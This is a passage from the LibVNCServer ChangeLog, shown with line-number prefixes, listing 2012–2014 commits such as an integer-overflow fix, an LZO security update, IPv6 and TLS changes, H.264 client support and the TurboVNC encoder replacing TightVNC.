5172014-08-16 dscho <johannes.schindelin@gmx.de>
518
519 * : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer()
520
5212014-08-15 newsoft <newsoft@MacBook-Air-de-newsoft-2.local>
522
523 * libvncclient/vncviewer.c: Fix integer overflow in
524 MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during
525 frame buffer allocation for very large screen sizes
526
5272013-09-28 Amandeep Singh <aman.dedman@gmail.com>
528
529 * libvncserver/sockets.c: allow rfbInitSockets with non-ready
530 states. This allows for reinitializations of e. g. sockets in a SHUTDOWN
531 state. The only state that doesn't make sense to reinitialize are
532 READY states.
533
5342013-10-09 Amandeep Singh <aman.dedman@gmail.com>
535
536 * libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a
537 rfbClientConnectionGone call missing
538
5392014-07-10 Will Thompson <will@willthompson.co.uk>
540
541 * x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called,
542 and currently calls X_UNLOCK on behalf of the caller. But in
543 practice, all callers assume that the lock is still held after
544 check_xrandr_event() returns. In particular, this leads to a
545 double-unlock and crash in check_xevents() on any xrandr event.
546
5472014-07-18 dscho <johannes.schindelin@gmx.de>
548
549 * : Merge pull request #13 from
550 wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events
551
5522014-06-27 Johannes Schindelin <johannes.schindelin@gmx.de>
553
554 * common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
555 common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1:
556 Oberhumer LZO (CVE-2014-4607):
557 http://seclists.org/oss-sec/2014/q2/665 This was also reported by Alex Xu as
558 https://github.com/LibVNC/libvncserver/issues/9. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
559
5602014-06-23 dscho <johannes.schindelin@gmx.de>
561
562 * : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg.
563
5642014-06-23 Matthias Treydte <mt@waldheinz.de>
565
566 * libvncclient/rfbproto.c: Initialize padding in
567 SetFormatAndEncodings' rfbSetPixelFormatMsg.
568
5692014-06-23 Matthias Treydte <mt@waldheinz.de>
570
571 * CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR. This makes the library friendly to use as a git submodule within
572 another project, and should change nothing when compiled alone. For example when having a directory structure like
573 "my_project/external/libvnc", where in libvnc resides a checkout of
574 libvncserver, one can just reference that directory from the
575 CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries,
576 one can just hack away without having to manually make / install
577 LibVNCServer whenever something is changed there.
578
5792014-05-14 dscho <johannes.schindelin@gmx.de>
580
581 * : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region
582
5832014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de>
584
585 * libvncclient/rfbproto.c: libvncclient: If we have TLS support,
586 enable VeNCrypt by default Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
587
5882014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de>
589
590 * .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
591
5922014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de>
593
594 * .gitignore: Ignore the vencrypt document https://www.berrange.com/~dan/vencrypt.txt Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
595
5962014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de>
597
598 * .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by
599 TigerVNC:
600 http://sourceforge.net/p/tigervnc/code/HEAD/tree/rfbproto/rfbproto.rstSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
601
6022014-03-29 Johannes Schindelin <johannes.schindelin@gmx.de>
603
604 * examples/repeater.c: Repeater example: show how to shut down
605 cleanly Since we connected to the client through the repeater, chances are
606 that we want this server shut down once the client disconnected. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
607
6082014-03-29 Johannes Schindelin <johannes.schindelin@gmx.de>
609
610 * .gitignore, examples/Makefile.am, examples/repeater.c: Add an
611 example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs
612 with a so-called repeater (e.g. to bridge firewalled clients and
613 servers): http://www.uvnc.com/products/uvnc-repeater.html This example demonstrates how to use that feature with a
614 LibVNCServer-based server. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
615
6162014-04-05 Christian Beier <dontmind@freeshell.org>
617
618 * configure.ac, webclients/novnc/README.md,
619 webclients/novnc/vnc.html: Update sourceforge links to point to
620 github.
621
6222014-03-31 Johannes Schindelin <johannes.schindelin@gmx.de>
623
624 * libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
625
6262014-03-30 Johannes Schindelin <johannes.schindelin@gmx.de>
627
628 * .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best
629 downloaded manually from http://www.realvnc.com/docs/rfbproto.pdf Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
630
6312014-03-30 Robbert Klarenbeek <robbertkl@users.sourceforge.net>
632
633 * libvncclient/vncviewer.c: Address #12 ClientData does not get
634 freed rfbClientSetClientData() allocates a new rfbClientData, but never
635 gets cleaned up, which causes memory leaks. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
636
6372014-03-30 Johannes Schindelin <johannes.schindelin@gmx.de>
638
639 * examples/example.c, test/encodingstest.c: After free()ing
640 clientData, set it to NULL We will change rfbClientCleanup() to free the data. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
641
6422013-02-27 Joel Martin <github@martintribe.org>
643
644 * libvncserver/websockets.c: Set opcode correctly for binary frames.
645
6462013-01-25 Christian Beier <dontmind@freeshell.org>
647
648 * rfb/rfbproto.h: Remove unneeded #ifdefs.
649
6502013-01-25 Christian Beier <dontmind@freeshell.org>
651
652 * rfb/rfbclient.h: Fix ABI compatibility issue.
653
6542013-01-09 David Verbeiren <david.verbeiren@intel.com>
655
656 * client_examples/gtkvncviewer.c, configure.ac,
657 libvncclient/Makefile.am, libvncclient/h264.c,
658 libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h,
659 rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer
660 updates This patch implements support in LibVNCClient for framebuffer
661 updates encoded as H.264 frames. Hardware accelerated decoding is
662 performed using VA API. This is experimental support to let the community explore the
663 possibilities offered by the potential bandwidth and latency
664 reductions that H.264 encoding allows. This may be particularly
665 useful for use cases such as online gaming, hosted desktops, hosted
666 set top boxes... This patch only provides the client side support and is meant to be
667 used with corresponding server-side support, as provided by an
668 upcoming patch for qemu ui/vnc module (to view the display of a
669 virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update
670 messages are generated for a single server framebuffer modification,
671 the H.264 frame data is sent only with the first update message.
672 Subsequent update framebuffer messages will contain only the
673 coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I
674 submitted with minor enhancements to the gtkvncviewer application:
675 http://sourceforge.net/mailarchive/message.php?msg_id=30323804 * Currently only works with libva 1.0: use branch "v1.0-branch" for
676 libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./autogen.sh make sudo make install cd .. git clone git://anongit.freedesktop.org/vaapi/intel-driver cd intel-driver git checkout v1.0-branch ./autogen.sh make sudo make install Signed-off-by: David Verbeiren <david.verbeiren@intel.com>
677
6782013-01-08 David Verbeiren <david.verbeiren@intel.com>
679
680 * client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received. Hide local cusror in gtkvncviewer.
681
6822012-09-14 Christian Beier <dontmind@freeshell.org>
683
684 * AUTHORS: Add Raphael to AUTHORS.
685
6862012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
687
688 * libvncclient/rfbproto.c: Include strings.h for strncasecmp(3)
689
6902012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
691
692 * libvncserver/websockets.c: Work around a gcc bug with anonymous
693 structs and unions. GCC < 4.6 failed to parse the declaration of ws_header_t correctly
694 because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly,
695 but works. [1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784
696
6972012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
698
699 * libvncserver/rfbserver.c: Include stdio.h for snprintf(3)
700
7012012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
702
703 * libvncserver/websockets.c: Add the required headers for read(2)
704
7052012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
706
707 * CMakeLists.txt, configure.ac, libvncserver/websockets.c,
708 rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in
709 websocket.c. byteswap.h exists only on glibc, so building libvncserver with
710 websockets support was not possible in other systems. Replace the inclusion of byteswap.h and the WS_* definitions with
711 calls to htobeNN, which should perform the same conversions, be more
712 portable and avoid the need to check for the platform's endianness.
713
7142012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
715
716 * CMakeLists.txt, configure.ac: Do not hardcode the need for
717 libresolv. libresolv is only present on systems which use glibc; platforms such
718 as FreeBSD have __b64_ntop as part of libc itself. Improve the detection process and only link against libresolv if it
719 exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES
720 after performing the necessary tests, since we do not always want to
721 link against libresolv.
722
7232012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
724
725 * common/vncauth.c, libvncclient/rfbproto.c,
726 libvncclient/sockets.c, libvncserver/httpd.c,
727 libvncserver/rfbserver.c, libvncserver/sockets.c,
728 libvncserver/websockets.c: Tune the definitions needed when building
729 with -ansi. The current definitions were mostly useful to glibc and followed its
730 feature_test_macros(3) documentation. However, this means other platforms still had problems when building
731 with strict compilation flags. _BSD_SOURCE, for example, is only
732 recognized by glibc, and other platforms sometimes need
733 _XOPEN_SOURCE instead, or even the removal of some definitions (such
734 as the outdate _POSIX_SOURCE one). _POSIX_SOURCE also had to be conditionally defined in some places,
735 as what it enables or disables during compilation varies across
736 systems.
737
7382012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
739
740 * libvncserver/sockets.c, libvncserver/websockets.c: Add some
741 missing feature macro definitions. Building with -ansi failed due to some code (as well as system
742 headers) using non-C89 features. Fix that by adding the usual
743 _POSIX_SOURCE and _BSD_SOURCE definitions already present in some
744 other files.
745
7462012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
747
748 * common/turbojpeg.c, libvncserver/tight.c,
749 libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
750 test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source
751 code. Using C++-style comments when building the code with -ansi does not
752 work, so be more conservative with the comment style.
753
7542012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
755
756 * libvncserver/websockets.c: Correctly include rfbconfig.h. build_dir/rfb is not passed as an include directory automatically to
757 the compiler, so including that file fails.
758
7592012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
760
761 * CMakeLists.txt: CMake: Link against libgcrypt when it is found. So far, libgcrypt was looked for but no targets linked against it
762 directly; this caused linking problems for the client and server
763 examples, as the symbols they needed were not passed to the linker. The issue that the GnuTLS websockets code uses libgcrypt regardless
764 of whether it has been found or not has not been touched by this
765 commit, though.
766
7672012-08-19 Christian Beier <dontmind@freeshell.org>
768
769 * webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
770 webclients/novnc/include/base.css,
771 webclients/novnc/include/black.css,
772 webclients/novnc/include/blue.css,
773 webclients/novnc/include/display.js,
774 webclients/novnc/include/input.js,
775 webclients/novnc/include/playback.js,
776 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
777 webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
778 webclients/novnc/include/web-socket-js/web_socket.js,
779 webclients/novnc/include/websock.js,
780 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
781 webclients/novnc/vnc_auto.html: Update noVNC webclient.
782
7832012-08-19 Christian Beier <dontmind@freeshell.org>
784
785 * AUTHORS: Update AUTHORS.
786
7872012-08-08 Oliver Loch <o.loch@gmx.net>
788
789 * libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6
790 without IPv4. As requested only those lines are indented that have been changed.
791
7922012-07-20 Johannes Schindelin <johannes.schindelin@gmx.de>
793
794 * AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
795
7962012-07-19 Rostislav Lisovy <lisovy@gmail.com>
797
798 * libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval
799 conversion Signed-off-by: Rostislav Lisovy <lisovy@gmail.com> Signed-off-by:
800 Johannes Schindelin <johannes.schindelin@gmx.de>
801
8022012-05-31 Christian Beier <dontmind@freeshell.org>
803
804 * libvncserver/config.h, libvncserver/rfbconfig.h: Remove
805 autogenerated files from repo.
806
8072012-05-23 Christian Beier <dontmind@freeshell.org>
808
809 * CMakeLists.txt, configure.ac, rfb/rfbconfig.h.cmake: Add Compile
810 Time Version Test Defines.
811
8122012-05-18 Kyle J. McKay <mackyle@gmail.com>
813
814 * libvncserver/sockets.c: libvncserver/sockets.c: do not segfault
815 when listenSock/listen6Sock == -1
816
8172012-05-09 Christian Beier <dontmind@freeshell.org>
818
819 * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
820 vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no
821 too unimportant errors.
822
8232012-05-07 Christian Beier <dontmind@freeshell.org>
824
825 * TODO: Update TODO.
826
8272012-05-07 Luca Falavigna <dktrkranz@debian.org>
828
829 * test/encodingstest.c: Encodingstest: Use format string argument
830 with fprintf.
831
8322012-05-05 Christian Beier <dontmind@freeshell.org>
833
834 * CMakeLists.txt, configure.ac: Bump version to 0.9.10.
835
8362012-05-04 Christian Beier <dontmind@freeshell.org>
837
838 * ChangeLog: Update ChangeLog for 0.9.9.
839
San Mehata430b2b2014-09-23 08:30:51 -07008402012-05-04 Christian Beier <dontmind@freeshell.org>
841
842 * configure.ac: Enable building DLLs with MinGW32.
843
8442012-05-04 Christian Beier <dontmind@freeshell.org>
845
846 * NEWS: Update NEWS for 0.9.9.
847
8482012-05-03 Christian Beier <dontmind@freeshell.org>
849
850 * libvncclient/rfbproto.c: LibVNCClient: #undef these types in case
851 it's WIN32. The various other headers include windows.h and the winsock headers
852 which give an error when SOCKET and socklen_t are already defined.
853
8542012-05-03 Christian Beier <dontmind@freeshell.org>
855
856 * rfb/rfb.h: LibVNCServer: Include ws2tcpip.h if it's available. Needed for the IPv6 stuff.
857
8582012-04-30 Christian Beier <dontmind@freeshell.org>
859
860 * libvncserver/Makefile.am: LibVNCServer: Prefer GnuTLS over OpenSSL
861 to be in sync with LibVNCClient.
862
8632012-04-30 Christian Beier <dontmind@freeshell.org>
864
865 * libvncserver/rfbserver.c: Some more libjpeg, libpng and zlib
866 related build fixes.
867
8682012-04-30 Christian Beier <dontmind@freeshell.org>
869
870 * configure.ac: Make PKG_CHECK_MODULES fail non-fatal. These check for optional modules.
871
8722012-04-30 Christian Beier <dontmind@freeshell.org>
873
874 * libvncserver/rfbserver.c, rfb/rfb.h: Only try to build TightPNG
875 stuff when libjpeg is available. TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It
876 still uses JPEG rects as well. Theoretically, we could build
877 TightPNG with only libpng and libjpeg - without zlib - but libpng
878 depends on zlib, so this is kinda moot.
879
8802012-04-27 Christian Beier <dontmind@freeshell.org>
881
882 * test/Makefile.am: Only build libjpeg test programs if libjpeg is
883 actually available.
884
8852012-04-26 Christian Beier <dontmind@freeshell.org>
886
887 * CMakeLists.txt: Fix CMake build of LibVNCClient.
888
8892012-04-26 Christian Beier <dontmind@freeshell.org>
890
891 * libvncserver/rfbserver.c: Properly check return value. This also fixes a compiler warning.
892
8932012-04-26 Christian Beier <dontmind@freeshell.org>
894
895 * configure.ac: Fix build when no libjpeg is available.
896
8972012-04-26 Christian Beier <dontmind@freeshell.org>
898
899 * examples/android/Makefile.am, libvncserver/Makefile.am: Include
900 some more missing files for make dist.
901
9022012-04-25 Christian Beier <dontmind@freeshell.org>
903
904 * libvncserver/Makefile.am: Include missing files for make dist.
905
9062012-04-25 Christian Beier <dontmind@freeshell.org>
907
908 * libvncclient/Makefile.am: Fix libvncclient make dist.
909
9102012-04-25 Christian Beier <dontmind@freeshell.org>
911
912 * configure.ac: Better check for Linux build.
913
9142012-04-25 Christian Beier <dontmind@freeshell.org>
915
916 * vncterm/Makefile.am: Binaries that are to be installed should be
917 all lowercase.
918
9192012-04-25 Christian Beier <dontmind@freeshell.org>
920
921 * CMakeLists.txt, configure.ac: Bump version to 0.9.9.
922
9232012-04-25 Christian Beier <dontmind@freeshell.org>
924
925 * common/turbojpeg.c, libvncserver/rfbserver.c,
926 libvncserver/websockets.c, test/tjbench.c: Fix some compiler
927 warnings thrown with newer gcc.
928
9292012-04-25 Christian Beier <dontmind@freeshell.org>
930
931 * test/Makefile.am: Fix turbojpeg tests compilation.
932
9332012-04-25 DRC <information@virtualgl.org>
934
935 * common/turbojpeg.c: Fix compilation with some libjpeg
936 distributions.
937
9382012-04-22 Monkey <chris.boyle.1978@gmail.com>
939
940 * libvncclient/rfbproto.c: Added support for UltraVNC Single Click
941 as originally proposed by Noobius (Boobius) on 6/1/11. Original thread:
942
943 http://sourceforge.net/tracker/?func=detail&aid=3310255&group_id=32584&atid=405860
944
9452012-04-15 Christian Beier <dontmind@freeshell.org>
946
947 * AUTHORS: Add Philip to AUTHORS.
948
9492012-04-15 Christian Beier <dontmind@freeshell.org>
950
951 * libvncclient/tls_none.c: LibVNCClient: Fix build with no SSL/TLS
952 library available.
953
9542012-04-15 Christian Beier <dontmind@freeshell.org>
955
956 * libvncclient/tls_openssl.c: LibVNCClient: properly free the
957 openssl session stuff on shutdown.
958
9592012-04-15 Christian Beier <dontmind@freeshell.org>
960
961 * libvncclient/rfbproto.c, libvncclient/sockets.c,
962 libvncclient/tls_gnutls.c, libvncclient/vncviewer.c,
963 rfb/rfbclient.h: LibVNCClient: Remove all those WITH_CLIENT_TLS
964 #ifdefs and move GnuTLS specific functionality into tls_gnutls.c.
965
9662012-04-14 Christian Beier <dontmind@freeshell.org>
967
968 * configure.ac: Unify GnuTLS vs OpenSSL build systems stuff between
969 libvncclient and libvncserver.
970
9712012-04-14 Christian Beier <dontmind@freeshell.org>
972
973 * libvncclient/Makefile.am, libvncclient/tls.c,
974 libvncclient/tls_gnutls.c, libvncclient/tls_none.c,
975 libvncclient/tls_openssl.c: Add the OpenSSL libvncclient TLS version
976 to the build system.
977
9782012-04-12 Christian Beier <dontmind@freeshell.org>
979
980 * webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
981 webclients/novnc/include/base.css,
982 webclients/novnc/include/base64.js,
983 webclients/novnc/include/display.js,
984 webclients/novnc/include/input.js,
985 webclients/novnc/include/jsunzip.js,
986 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
987 webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
988 webclients/novnc/include/websock.js,
989 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
990 webclients/novnc/vnc_auto.html: Update our copy of noVNC. Bugfixes and support for tight encoding with zlib.
991
9922012-04-12 Christian Beier <dontmind@freeshell.org>
993
994 * libvncserver/tight.c: Make TurboVNC compress level 3 actually
995 work.
996
9972012-04-09 DRC <information@virtualgl.org>
998
999 * common/turbojpeg.c: Fix memory leak in TurboVNC Note that the memory leak was only occurring with the colorspace
1000 emulation code, which is only active when using regular libjpeg (not
1001 libjpeg-turbo.) Diagnosed by Christian Beier, using valgrind. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1002
10032012-04-02 Christian Beier <dontmind@freeshell.org>
1004
1005 * libvncclient/listen.c, libvncclient/sockets.c,
1006 libvncserver/httpd.c, libvncserver/sockets.c: IPv6 support for
1007 LibVNCServer, part four: add copyright notices to files with
1008 non-trivial changes.
1009
10102012-03-29 Johannes Schindelin <johannes.schindelin@gmx.de>
1011
1012 * client_examples/SDLvncviewer.c: SDLvncviewer: map Apple/Windows
1013 keys correctly Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1014
10152012-03-29 Johannes Schindelin <johannes.schindelin@gmx.de>
1016
1017 * .gitignore: gitignore the compiled gtkvncclient Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1018
10192012-03-29 Johannes Schindelin <johannes.schindelin@gmx.de>
1020
1021 * client_examples/SDLvncviewer.c: SDLvncviewer: fix the SDL_KEYUP
1022 issue Keys got stuck because unicode is 0 upon SDL_KEYUP events, even if
1023 the same key event sets unicode correctly in SDL_KEYDOWN events. Work around that for the common case (ASCII) using the fact that
1024 both SDL and X11 keysyms were created with ASCII compatibility in
1025 mind. So as long as we type ASCII symbols, we can map things
1026 trivially. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1027
10282012-03-23 DRC <information@virtualgl.org>
1029
1030 * CMakeLists.txt: Extend support for the new TurboVNC encoder to the
1031 CMake build system
1032
10332012-03-25 DRC <information@virtualgl.org>
1034
1035 * common/turbojpeg.c, common/turbojpeg.h, configure.ac,
1036 libvncserver/Makefile.am, libvncserver/rfbserver.c,
1037 libvncserver/tight.c, libvncserver/turbo.c, rfb/rfb.h,
1038 rfb/rfbproto.h, test/Makefile.am, test/bmp.c, test/bmp.h,
1039 test/tjbench.c, test/tjunittest.c, test/tjutil.c, test/tjutil.h:
1040 Replace TightVNC encoder with TurboVNC encoder. This patch is the
1041 result of further research and discussion that revealed the
1042 following: -- TightPng encoding and the rfbTightNoZlib extension need not
1043 conflict. Since TightPng is a separate encoding type, not supported
1044 by TurboVNC-compatible viewers, then the rfbTightNoZlib extension
1045 can be used solely whenever the encoding type is Tight and disabled
1046 with the encoding type is TightPng. -- In the TightVNC encoder, compression levels above 5 are basically
1047 useless. On the set of 20 low-level datasets that were used to
1048 design the TurboVNC encoder (these include the eight 2D application
1049 captures that were also used when designing the TightVNC encoder, as
1050 well as 12 3D application captures provided by the VirtualGL
1051 Project-- see
1052 http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf),
1053 moving from Compression Level (CL) 5 to CL 9 in the TightVNC
1054 encoder did not increase the compression ratio of any datasets more
1055 than 10%, and the compression ratio only increased by more than 5%
1056 on four of them. The compression ratio actually decreased a few
1057 percent on five of them. In exchange for this paltry increase in
1058 compression ratio, the CPU usage, on average, went up by a factor of
1059 5. Thus, for all intents and purposes, TightVNC CL 5 provides the
1060 "best useful compression" for that encoder. -- TurboVNC's best compression level (CL 2) compresses 3D and video
1061 workloads significantly more "tightly" than TightVNC CL 5 (~70%
1062 better, in the aggregate) but does not quite achieve the same level
1063 of compression with 2D workloads (~20% worse, in the aggregate.)
1064 This decrease in compression ratio may or may not be noticeable,
1065 since many of the datasets it affects are not performance-critical
1066 (such as the console output of a compilation, etc.) However, for
1067 peace of mind, it was still desirable to have a mode that compressed
1068 with equal "tightness" to TightVNC CL 5, since we proposed to
1069 replace that encoder entirely. -- A new mode was discovered in the TurboVNC encoder that produces,
1070 in the aggregate, similar compression ratios on 2D datasets as
1071 TightVNC CL 5. That new mode involves using Zlib level 7 (the same
1072 level used by TightVNC CL 5) but setting the "palette threshold" to
1073 256, so that indexed color encoding is used whenever possible. This
1074 mode reduces bandwidth only marginally (typically 10-20%) relative
1075 to TurboVNC CL 2 on low-color workloads, in exchange for nearly
1076 doubling CPU usage, and it does not benefit high-color workloads at
1077 all (since those are usually encoded with JPEG.) However, it
1078 provides a means of reproducing the same "tightness" as the TightVNC encoder on 2D workloads without sacrificing any compression for
1079 3D/video workloads, and without using any more CPU time than
1080 necessary. -- The TurboVNC encoder still performs as well or better than the
1081 TightVNC encoder when plain libjpeg is used instead of
1082 libjpeg-turbo. Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the
1083 libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper
1084 can be used with plain libjpeg as well. This required updating the
1085 TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0,
1086 mainly because the TurboJPEG 1.2 API handles pixel formats in a much
1087 cleaner way, which made the conversion code easier to write. It
1088 also eases the maintenance to have the wrapper synced as much as
1089 possible with the upstream code base (so I can merge any relevant
1090 bug fixes that are discovered upstream.) The libvncserver version of
1091 the TurboJPEG wrapper is a "lite" version, containing only the JPEG
1092 compression/decompression code and not the lossless transform, YUV
1093 encoding/decoding, and dynamic buffer allocation features from
1094 TurboJPEG 1.2. configure.ac: Removed the --with-turbovnc option. configure still
1095 checks for the presence of libjpeg-turbo, but only for the purposes
1096 of printing a performance warning if it isn't available. rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder
1097 patch. We cannot use tightQualityLevel for the TurboVNC 1-100
1098 quality level, because tightQualityLevel is also used by ZRLE.
1099 Thus, a new parameter (turboQualityLevel) was created. rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs. Fix
1100 afore-mentioned tightQualityLevel bug. libvncserver/tight.c: Replaced the TightVNC encoder with the
1101 TurboVNC encoder. Relative to the initial TurboVNC encoder patch,
1102 this patch also: -- Adds TightPng support to the TurboVNC encoder --
1103 Adds the afore-mentioned low-bandwidth mode, which is mapped
1104 externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG
1105 wrapper) as well as TJBench (a benchmark for same.) These are
1106 useful for ensuring that the wrapper still functions correctly and
1107 performantly if it needs to be modified for whatever reason. Both
1108 of these programs are derived from libjpeg-turbo 1.2.0. As with the
1109 TurboJPEG wrapper, they do not contain the more advanced features of
1110 TurboJPEG 1.2, such as YUV encoding/decoding and lossless
1111 transforms.
1112
11132012-03-15 Christian Beier <dontmind@freeshell.org>
1114
1115 * AUTHORS: Add DRC to AUTHORS.
1116
11172012-03-15 Christian Beier <dontmind@freeshell.org>
1118
1119 * rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient
1120 struct. Try to not break ABI between releases. Even if the code gets ugly...
1121
11222012-03-10 DRC <information@virtualgl.org>
1123
1124 * x11vnc/Makefile.am: Fix the build of x11vnc when an out-of-tree
1125 build directory is used
1126
11272012-03-10 DRC <information@virtualgl.org>
1128
1129 * libvncserver/rfbserver.c: Fix an issue that affects the existing
1130 Tight encoder as well as the newly-implemented Turbo encoder. The issue is that, when using the current libvncserver source, it is
1131 impossible to disable Tight JPEG encoding. The way Tight/Turbo
1132 viewers disable JPEG encoding is by simply not sending the Tight
1133 quality value, causing the server to use the default value of -1.
1134 Thus, cl->tightQualityLevel has to be set to -1 prior to processing
1135 the encodings message for this mechanism to work. Similarly, it is
1136 not guaranteed that the compress level will be set in the encodings
1137 message, so it is set to a default value prior to processing the
1138 message.
1139
11402012-03-10 DRC <information@virtualgl.org>
1141
1142 * common/turbojpeg.c, common/turbojpeg.h, configure.ac,
1143 libvncserver/Makefile.am, libvncserver/rfbserver.c,
1144 libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h: Add TurboVNC
1145 encoding support. TurboVNC is a variant of TightVNC that uses the same client/server
1146 protocol (RFB version 3.8t), and thus it is fully cross-compatible
1147 with TightVNC and TigerVNC (with one exception, which is noted
1148 below.) Both the TightVNC and TurboVNC encoders analyze each
1149 rectangle, pick out regions of solid color to send separately, and
1150 send the remaining subrectangles using mono, indexed color, JPEG, or
1151 raw encoding, depending on the number of colors in the subrectangle.
1152 However, TurboVNC uses a fundamentally different selection algorithm
1153 to determine the appropriate subencoding to use for each
1154 subrectangle. Thus, while it sends a protocol stream that can be
1155 decoded by any TightVNC-compatible viewer, the mix of subencoding
1156 types in this protocol stream will be different from those generated
1157 by a TightVNC server. The research that led to TurboVNC is described in the following
1158 report:
1159 http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf. In
1160 summary: 20 RFB captures, representing "common" 2D and 3D
1161 application workloads (the 3D workloads were run using VirtualGL),
1162 were studied using the TightVNC encoder in isolation. Some of the
1163 analysis features in the TightVNC encoder, such as smoothness
1164 detection, were found to generate a lot of CPU usage with little or
1165 no benefit in compression, so those features were disabled. JPEG
1166 encoding was accelerated using libjpeg-turbo (which achieves a 2-4x
1167 speedup over plain libjpeg on modern x86 or ARM processors.)
1168 Finally, the "palette threshold" (minimum number of colors that the
1169 subrectangle must have before it is compressed using JPEG or raw)
1170 was adjusted to account for the fact that JPEG encoding is now quite
1171 a bit faster (meaning that we can now use it more without a CPU
1172 penalty.) TurboVNC has additional optimizations, such as the
1173 ability to count colors and encode JPEG images directly from the
1174 framebuffer without first translating the pixels into RGB. The
1175 TurboVNC encoder compares quite favorably in terms of compression
1176 ratio with TightVNC and generally encodes a great deal faster (often
1177 an order of magnitude or more.) The version of the TurboVNC encoder included in this patch is
1178 roughly equivalent to the one found in version 0.6 of the Unix
1179 TurboVNC Server, with a few minor patches integrated from TurboVNC
1180 1.1. TurboVNC 1.0 added multi-threading capabilities, which can be
1181 added in later if desired (at the expense of making libvncserver
1182 depend on libpthread.) Because TurboVNC uses a fundamentally different mix of subencodings
1183 than TightVNC, because it uses the identical protocol (and thus a
1184 viewer really has no idea whether it's talking to a TightVNC or
1185 TurboVNC server), and because it doesn't support rfbTightPng (and in
1186 fact conflicts with it-- see below), the TurboVNC and TightVNC
